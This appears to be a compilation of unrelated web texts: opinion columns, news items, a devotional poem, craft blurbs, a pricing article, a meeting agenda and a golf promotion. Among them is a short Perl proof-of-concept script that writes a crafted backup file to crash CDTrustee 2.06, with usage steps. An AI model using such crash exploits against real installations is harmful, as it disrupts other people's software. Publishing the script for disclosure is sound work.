As our inboxes fill with more and more emails claiming to have answers to the big questions XM agencies and brands are asking- like "When will consumers be ready to attend events again?" and "How will events need to change in the future?"- I encourage us all to adopt a healthy dose of skepticism.
When you see things like, "60.6% of respondents say", immediately close the report. A person cannot be divided.
If the study doesn't detail the who's and how's of the methodology, quit reading.
Discard articles with catchy headlines but no substance.
And, for the love of all events, stop yourself from engaging in the roller-coaster of emotions these alternately positive and doomsday reports are sharing. Instead, be patient. Watch and listen.
There's a time and place for "hard data." But right now, it may be wise to shift our focus to ethnographic and behavioral studies. Take note of how people's daily lives are changing, how they're choosing to spend their time, and what they're saying and doing on social media. And recognize that these behaviors may be better predictors of their needs and desires than their answers to a four question survey.
I posit this:
- Sourdough is here to stay.
Watching bread rise, paint dry, or plants sprout have all been lambasted as empty time, but people are realizing that these simple tasks can be enriching. Projects at home with tangible and rewarding outputs will continue, and brands that provide ways to play at home will triumph.
2. Virtual gatherings are real gatherings.
The gaming community has long known that virtual avatars and teams, controlled by real people foster real connections. The rest of us are finally learning that lesson. In the near future, we will no longer be able to say that the winners of Zwift or other virtual races aren't real results or that virtual events are less impactful than physical events. Take wine tastings, education, happy hours, and fitness classes as an example. Expect this to continue, and plan for ways that virtual engagements can have "real-world" impact. The lines are blurring.
3. Dine in, take out, or delivery: the choice is yours.
The rapid pivots that restaurants, bookstores, and retailers have adopted have proven that the way consumers consume is forever changed. 2-day delivery is no longer the norm. Same day, meal-time delivery is. As online retailers suffer from supply chain issues and delivery delays, local businesses have gotten creative, offering access to their products and services in ways that would have seemed too difficult or unlikely to succeed a month ago. That won't go away. Business innovation — from startups to pivots- will usher in a new, on-demand, supplied-local (or direct) to person set of options.
Whether or not these prove true, the fact is these "trends" are a reflection of current human behaviors, gleaned from watching and aggregating insights until a pattern arose. I'm sure we could find data to support the exponential rise in sourdough starters, computrainer purchases, or business pivots, but why?
Sometimes, good old-fashioned observation is the better way. So, grab a chair- ideally one that rocks-, sit on your porch, and watch the world change. You may just learn something.


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The Federal High Court in Lagos has upheld a landmark $1.7billion arbitral award in favour of the Nigerian Petroleum Development Co. (NPDC) Ltd against the Atlantic Energy Drilling Concepts Nig. Ltd and Atlantic Energy Brass Development Ltd.
Justice Ayokunle Faji Faji dismissed Atlantic Energy's application to set aside the Arbitral Award of March 5, 2020.
He upheld the submissions of NPDC's lead counsel Professor Fabian Ajogwu (SAN) and granted orders recognising the $1.7bn Arbitral Award as well as for leave to enforce same as a judgment of the Federal High Court.
In August 2015, Atlantic Energy, took the NNPC to arbitration for an alleged breach of contract.
NPDC in response, filed a counter-claim for funds due to the Federal Government on account of crude oil sales from the Oil Mining Leases (OMLS) 26, 30, 34, 42, 60, 61, 62 and 63 (known as 'Brass and Forcados assets') without payment of remittances due.
NPDC also sought the recovery of unpaid net approved cash calls in respect of the OMLs.
On March 5, 2019, the Arbitral Tribunal delivered a landmark Arbitral Award of $1.7bn in NPDC's favour.
It ordered Atlantic Energy pay the $1.7bn to NPDC as the value of the 55 per cent crude oil portion of the Federal Government taken and sold by Atlantic but not remitted to NNPC.
Atlantic Energy, the Award debtors, sought an Order of Court to set aside the arbitral award delivered in favour of NPDC because the Arbitral Tribunal allegedly misconducted itself by wrongfully assuming jurisdiction over NPDC's Counter-Claim, and dismissing their preliminary objection to the said Counter-Claim.
NPDC, at the same time, sought for an Order of Court to recognise and enforce the arbitral award.
In upholding Professor Ajogwu's submissions, Justice Faji held that NPDC's Counter-Claim in the Arbitration was distinct in all material respects from the suit referred to by the Award Debtors.
According to the Judge, as rightly argued, whilst the claim in suit 701 touched on criminal conversion/ diversion of revenue due to the Federation, the counter-claim to the Arbitration bordered on breach of the Strategic Alliance Agreement between NPDC and the Award Debtors.
Accordingly, the Court dismissed the Award Debtors' application to set aside the Arbitral Award.
This landmark decision upholds one of the single largest Awards ever in a Nigerian Arbitration. It also addresses the impact of non-payment of signature fees on lifted crude oil as well as the principles of Unjust Enrichment in Crude oil lifting and recovery.


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Henry Ruggs III injured, then cleared in first NFL game
Report: Brent Musburger to be next Raiders' radio voice Raider sues woman who accused him of sex assault Will Jon Gruden's return help revitalize Raiders? Cable feels back at home in second stint with Raiders Raiders dump former second-round QB after 3 weeks Raiders install new defense while Mack stays away Martin hopes move to Raiders provides fresh start to career Raiders counting on rebound season from Amari Cooper Raiders sign draft picks Brandon Parker, Nick Nelson Raiders sign free agent G Cameron Hunt Raiders sign draft picks Hurst, Ateman to rookie deals Raiders sign 5th-round pick Johnny Townsend to rookie deal Raiders release quarterback Josh Johnson Raiders' Donald Penn will not be prosecuted for domestic violence Will this Raider be NFL's first $20 million defender? Raiders sign former Chiefs LB Derrick Johnson Raiders draft DT Maurice Hurst despite heart concerns


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Published by Deborah Negron M.A.
10 – 30 – 2014
Let us look beyond what we see…
In the natural…
Can't control anything…
Feel as if life took its own course
without consulting me.
Attempts made
results came which were unexpected.
It seems as if all is lost.
But these eyes don't see…
In The Supernatural…
These ears are not trained to hear
the still small voice.
In the midst of life's chaos…
It calls me to come closer.
In the midst of the unknown,
it draws me to
Trust the one who knows best.
In the midst of my adversity
His call seems clear….
Run to the Rock that is higher than you…
Seek me and you will have your rest.
Draw near to me
and drink freely of my living water.
The voice of the Master calls
in the midst of the darkness
It lights a clear path.
Life is not what I thought it should be.
Nor is it the choas I think it may be at times.
My life is ordered by the one who calls me his own.
He knows how to shape me and mold me.
He is forming in me the very character of the Son of God. The Holy Spirit leads me where I need to be in order to fulfill the Master's plan for me.
I am precious in His sight. I am a jewel a pearl of high value. I am not alone. The enemy would rather I think I am somehow forsaken.
But, that still small voice, calls me by my name.
The new name given to those which are redeemed.
My sins are covered. My destination secure.
The still small voice calls me to remember who I am.
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Truck tolls bring in more than $7M in first year
PROVIDENCE, R.I. (AP) — Rhode Island transportation officials say $7.26 million has been collected in big truck toll revenues during the program's first fiscal year.
Officials had estimated $7 million in revenue.
A third toll gantry was installed Tuesday night at the Woonasquatucket River Bridge on Route 6 in Providence and will be operational in mid-August.
The state expects $25 million in truck toll revenue over the next fiscal year. Funds will go toward repairing bridges and roads.
The trucking industry is fighting the program in court and claims having tolls imposed only on them is unconstitutional. Industry groups and companies have appealed a dismissal of their case. A federal appeals judge will hear arguments in September.
Rhode Island began collecting tolls on big trucks last year and plans a total of 14 gantries across the state.


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Food crafts
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These four January Science Experiments are an exciting way to get kids asking questions, creating hypothoses, and making observations.
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Cloud Dough - our favorite no cook playdough recipe! Only 2 main ingredients needed (food coloring is optional)
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Create a colorful sponge painted ice cream cone craft with this easy summer craft for kids! A fun craft for kids of all ages!
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Whether it's a rainy day or if you're looking for something fun to do with the kids, this rainbow edible necklace craft is so easy and fun to make. It's also too cute to eat but is, in fact, edible and made out of fruit cereal and marshmallows. We just used basic string for this craft but if you wanted to, you could use a sturdier string found at a craft store. These rainbow edible necklaces are not only a fun craft to make with the kids but could also be bagged up and handed out at…
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This popsicle stick hamburger is the perfect craft activity to keep the kids busy during summer camps and family barbecues! They'll love being able to
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# Exploit Title: CDTrustee .BAK Local Crash POC
# Date: March 30, 2010
# Software Link: [http://www.base40.com/cdtDownload.html]
# Version: 2.06
# Tested on: WinXP SP3 and Windows 7
# Cost: 39.95 USD
# Author: [anonymous]
# Site: [http://www.setfreesecurity.com]
# Usage: Install software, run this script it will create
# CDTrustBackup.BAK, the file must be this name to restore.
# Click File -> Restore Backup File -> Locate CDTrustBackup.BAK
# Click OK -> OK -> OK -> Restore Complete -> OK
# Click on Playlist Menu At Top (Or almost any other Menu -> Sub Menu or button)
# Crash will occur, Thats all for now!
# For to be carnally minded is death; but to be spiritually minded is life and peace.
# Rom. 8:6
# Greetz: GOD, TS aka br34dcrumbs, and This Coffee that I'm drinking
# Thanks to the Exploit-DB crew for the inspiration
print "Creating CDTrustBackup.BAK file\n";
my $bak = "\x41";
my $file = "CDTrustBackup.BAK";
open (FILE, ">$file");
print FILE "$bak";
print "Usage: File -> Restore Backup File -> Locate CDTrustBackup.BAK\n";
print "Click on Playlist Menu\n";
print "BOOM!\n"


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Psychological pricing is a universal technique that you can apply to virtually any other broad pricing strategy. The general idea behind the concept of psychological pricing is to play on the mental tendencies of consumers, establishing a price that they perceive as a better value. The most common tactic is to offer products slightly below rounded dollar increments, such as $7.99 instead of $8.
Left-Digit Effect
The left-digit effect is one of the central motives behind the practice of pricing products at just-below dollar increments. People read English from top to bottom and left to right; thus, when reading a price, the mind instinctively moves from left to right. A product priced at $7.99 instead of $8 focuses the customer's mind on the "7" and views that price favorably relative to a price starting with "8."
Price Band
Along with the simple strategy of psychologically suggesting a lower price, this technique also helps companies keep prices within important price bands. A price band is a range of prices considered by a potential customer. While customers have varying acceptable price ranges and limits, pricing just below a significant dollar increment expands your potential market. A product at $9.99 works for someone whose mindset is to buy a product below $10. The same logic applies at $999 or $9,999.
Other Tactics
Marketers used additional tactics to make psychological pricing work. Often, the fractional part of a price, such as the "99" in $7.99, is displayed in smaller font than the "7," increasing the natural emphasis on the "7." Upscale restaurants and other higher-end retailers eliminate dollar signs from prices. A $19 item printed as "19" de-emphasizes the reality that you are spending money. A 2009 Cornell study showed the technique worked in restaurant menus.
Psychological pricing generally is viewed as a beneficial strategy for any seller. However, retailers that promote themselves with themes such as a dollar store use rounded dollars as part of their differentiation. Additionally, fractional pricing is more difficult in calculating sales tax. Another concern with psychological pricing is its limited influence on highly rational buyers who cautiously scrutinize prices. They are more likely to view a $7.99 as being basically $8.
Writer Bio
Neil Kokemuller has been an active business, finance and education writer and content media website developer since 2007. He has been a college marketing professor since 2004. Kokemuller has additional professional experience in marketing, retail and small business. He holds a Master of Business Administration from Iowa State University.
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Southeast Florida Cancer Control Collaborative
February Steering Committee Meeting
Conference Call Line Option: (786) 535-4360
Participant Code: 110 #
Facilitating Co-Chairs: Dr. Marie Etienne and Maray Salina
9:00 a.m. Welcome (Marie/Maray)
Introduction of SFCCC members in attendance.
(Please give your names, organization, and work group)
Introduction of new SFCCC Coordinator
9:10 a.m. Work Group Updates
a. Synergy and Networking/Membership Co-Chair Leonor Pupo
Co-Chair Natasha Carr
b. Risk Reduction Co-Chair Teddy Speropoulos
Co-Chair John Brown
c. Disparities Co-Chair Chris Varela
Co-Chair Fayola Delica
d. Survivorship & Quality of Life Co-Chair Cara Kondaki
Co-Chair Wendie Nemeroff
9:40 a.m. New Business
a. 2020-2025 Florida Cancer Plan
1. Overview
2. Release Date
b. March Quarterly Meeting Breakfast Sponsorship
9:50 a.m. Announcements
a. SFCCC/CCC March Quarterly Meeting
Date: March 17, 2020
Time 9:00 a.m. - 12:00 p.m.
American Cancer Society- West Palm Beach, FL
10:00 a.m. Adjournment


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Standard Golf Offers Pink Accessories for Breast Cancer Awareness Month
According to the National Breast Cancer Foundation, one in eight women in the United States will be diagnosed with breast cancer in her lifetime. Breast cancer is the second leading cause of cancer death among women, claiming more than 40,000 lives each year. But there's good news! Prompted by improved education and increased awareness, mortality rates from breast cancer have been steadily declining since 1990, in large part due to better screening leading to early detection and diagnosis, as well as better treatment options. And major contributors to early diagnoses are the events and activities of Breast Cancer Awareness Month, observed each October.
National Breast Cancer Awareness Month was founded in October 1985 to promote mammography as the most effective weapon in the fight against breast cancer. In 1991, pink ribbons were distributed to all breast cancer survivors and participants of the Komen New York City Race for the Cure. Today, pink ribbons, as well as pink accessories, are incorporated each October by numerous brands and organizations, such as the NFL, New Balance, and Nike, to help raise awareness. This month, Standard Golf is offering pink accessories to help raise awareness and show support with our partner golf courses and affiliate organizations.
The pink items Standard Golf has produced for this year's Breast Cancer Awareness Month include flags, flagsticks, cups, and tee markers. We also proudly provide annual donations to the American Cancer Society. Standard Golf believes in the importance of having a positive impact on the communities and members of the golf industry. Golf courses are social venues where people gather for fun, and pink products provide courses with an opportunity to host special events, create awareness, and raise funds for breast cancer on a local level.
Breast cancer is the most commonly diagnosed cancer among women, claiming hundreds of thousands of lives annually worldwide. Many Standard Golf team members and their loved ones have fought breast cancer. While some have courageously won the fight, others, unfortunately, have not. Early detection through testing and mammograms is the best way to prevent a long and dangerous illness. If Standard Golf's pink accessories offered in support of Breast Cancer Awareness Month helps save even one person's life through early diagnosis, we'll feel we've succeeded.
You can view our full line of pink accessories on our website.
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What quality is vital to virtually all creative art forms, including literature, music, painting, sculpture, photography, drama, and speechwriting?
What quality both sharpens the attention of your audience and makes them understand you better?
In this article, we'll define contrast, explore its benefits, and examine many strategies for using contrast in your next presentation.


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Professor, police showdown dramatizes the need to listen
The one thing that reactions to the arrest of Harvard University professor Henry Louis Gates Jr. proves is that too many Americans don't listen.
Nor do they see.
And until that changes, we won't ever quench the racial tensions that continue to smolder beneath the surface of our society.
The day of Gates' arrest began innocently enough. A woman called the Cambridge, Mass., Police Department to report two men possibly forcing their way into a home. While she didn't identify either man - who turned out to be Gates and his driver - by race, when asked by the police, she did say that one looked to be Hispanic.
But the problem didn't start by her calling the police - which was the right thing to do. The problem started when the officer, Sgt. James Crowley, showed up - and didn't know when to leave.
According to Crowley's own report, he said he "was led to believe that Gates was lawfully in the residence." That should have been it. End of story.
Crowley, however, stuck around as Gates - after providing both his Harvard ID and a driver's license to show that he was who he said he was - became more and more incensed at his presence.
Crowley alleges that Gates wouldn't stop yelling at him - even though if the professor was raising that much hell, you'd think you'd be able to hear it in the background of the tape of the call that he made while requesting backup.
Nonetheless, Crowley claims he was forced to arrest Gates for what he called "tumultuous behavior."
Fifty-eight-year-old, greying bespectacled Gates who, as far as I can tell, wasn't threatening to shoot Crowley or to beat him with the cane that he relies on to support his diminutive frame.
Since Gates' arrest and subsequent release, there's been more yelling. And not enough listening.
There's yelling from the people who support Crowley; people who are only hearing the fact that he taught diversity classes. But if he was such an expert, he should have been sensitive to the fact that, to an elderly black man like Gates who defied stereotypes and rose to the top of academia, being mistaken for a criminal might not sit well with him.
Others only see Gates as a man who shouldn't have raised his voice to a police officer. Yet, I utterly reject the notion that people should be subservient to the police if they believe they are being mistreated. The police are the ones who are the public servants, not the other way around. People ought to be able to argue with them - see First Amendment - without being arrested for it.
To believe otherwise is to put more of a premium on order than on fairness.
The people who support Gates see him as a victim of racial profiling. I'm not so sure about that.
What I am sure of, though, is that if Crowley had left, Gates would have calmed down and the crowd would have dispersed.
If Crowley had left, then maybe President Barack Obama wouldn't have to fend off more non-listeners; the ones who believe that his saying the Cambridge police acted stupidly is the same thing as calling them stupid. It isn't.
As for Obama meddling in a local issue, well, he didn't exactly volunteer his opinion. A reporter asked him a question, and his response was based on a fact that was not in dispute: That Crowley arrested Gates at his own home after he proved he was lawfully there.
And for the scores of African-Americans who are disproportionately stopped or unfairly treated by the police, what happened to Gates resonates - and the president had a responsibility to not duck behind the excuse of his friendship with Gates.
I hope that Gates, Crowley and Obama do have those beers. I hope they listen to each other.
Lord knows more of us can do a better job of that.
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